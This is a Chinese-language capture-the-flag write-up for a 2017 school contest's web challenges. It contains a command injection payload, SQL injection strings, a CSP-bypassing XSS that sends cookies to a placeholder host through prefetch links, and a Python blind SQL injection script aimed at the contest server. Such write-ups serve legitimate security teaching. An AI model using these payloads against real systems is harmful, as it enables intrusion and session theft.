2017 某校赛 Writeup

来源:互联网 发布:淘宝无线流量 编辑:程序博客网 时间:2024/06/06 09:24

这次校赛的时候只做了web题 ,。。。。

WEB

0x01 admin

直接扫描出来robots.txt
访问得到
这里写图片描述
访问admin
这里写图片描述
注意把cookie 的admin项改成1

0x02 babyphp

浏览网页,发现了猫腻
这里写图片描述

本题有.git泄露可以直接下到源码,一开始以为是版本控制,但发现只有本地git只有一个版本
接下来下到了源码
这里写图片描述
一道很明显的执行命令的题目,只需要闭合引号和括号即可
最后构造page='.system("ls").'home
命令执行一番还是发现无果
最后利用git diff比较分支查到了flag
这里写图片描述

0x03 inject

一道简单的注入题目
搜索目录找到了备份文件

<?phprequire("config.php");$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>

首先mysqli_query($mysqli,"descsecret_{$table}") or Hacker();要执行成功
其次是注入语句
我们可以构造table=testunion select ···的语句查询
第一次我构造了
test` ` where 1=2 union select 1 from secret_flag
这里写图片描述

后来才知道D是查询为空,只能换种写法
test` ` union select 1 from secret_flag limit 1,1
这里写图片描述

有了显示位下面就是正常的注入流程。
利用test` `union select flagUwillNeverKnow from secret_flag limit 1,1
最后得到flag

0x04 babyxss

一道简单的xss题目,一开始一直犯sb,经提示,恍然大悟。

0x1 验证码

验证码就不说啥了,经常遇见这里再贴上脚本

import randomimport stringdef md5(str):    import hashlib    m = hashlib.md5()    m.update(str)    return m.hexdigest()while 1:    string = ''    s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))    if md5(s)[0:6] == '58a204':        print s        break 

0x2 绕过csp

现在绕过csp的方法很简单,也很固定利用chrome的prefetch属性进行预加载绕过。
观察发现此题是严格csp限制
default-src 'self'; script-src 'self' ;
只能加载同源脚本,一般XSS是支持内联脚本的。
那么现在又有个问题,我们怎么能加载同源可控脚本呢?

0x3 上传同源可控脚本

这里我首先发送标签
<link rel="prefetch" href="http://xxxx/XSS/?c=[cookie]">
在我XSS平台上收到了一个带有referer字段的http包
里面有admin网址,以及我发送的留言信息。

var n0t = document.createElement("link");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "http://xxxx/?a="+document.cookie);document.head.appendChild(n0t);<link rel="prefetch" href="http://xxxxx/?c=[cookie]">

这点我已开始没想到····,耽误了好长时间

0x4 利用组合姿势XSS

有了同源可控脚本我们再次上传一个

<script src="http://39.108.192.25:5004/4dmIn.php?id=eef85d17855c8aca3c9df877511cfe17"></script>

就可以把我们的脚本当做js脚本引用执行

还有个坑js脚本里面有标签的时候,会解析报错。
这里把他注释掉,就可以了 这个是我脑洞出来的,不过很有效果,因为html不执行//

最后收到一发XSS信息
这里写图片描述

0x05 register

这道题给了提示之后还是没有做出来,主要是卡在了不知道country字段,影响了什么。这才是二次注入的关键点,最后得知是影响了时间,瞬间有了思路,但还是不知道有什么表这里利用猜测的办法猜到数据表是users
于是就可以利用时间的不同进行盲注
下面贴出盲注脚本

# coding:utf-8import requestsfrom math import ceilimport refrom random import *global stringstring = ''def dichotomie(l,r,i):#利用二分法查找    mid = (l+r)/2    # print "l and r ,mid:",l,r,mid    if l == r:        global string        string += chr(r)        print string        return 0    if charge(mid,i):#<=        #print 0        dichotomie(l,mid,i)    else:        #print 1        dichotomie(int(ceil((l+r)*1.0/2)),r,i)def charge(mid,i):    payload = "'or(select(ascii(substr(group_concat(c),{}))<={}) from (select 1,2,3`c`,4,5 union(select*from(users)))`b`) #".format(i,mid)    login = requests.session()    username = "4ct10n"+str(randint(1,10000000))    data = {    'username':username,    'password':'1',    'address':'1',    'country':payload    }    login.post('http://39.108.192.25:5005/register.php',data=data)    data = {    'username':username,    'password':'1'    }    login.post('http://39.108.192.25:5005/login.php',data=data)    res = login.get('http://39.108.192.25:5005/index.php?page=info')    string = res.content    r = re.findall('2017-07-01 (.*)</em>',string)[0][0:2]    # print r    if r == '05':        return 0    else:        return 1    # print datafor i in range(1,100):    dichotomie(32,127,i)print string
原创粉丝点击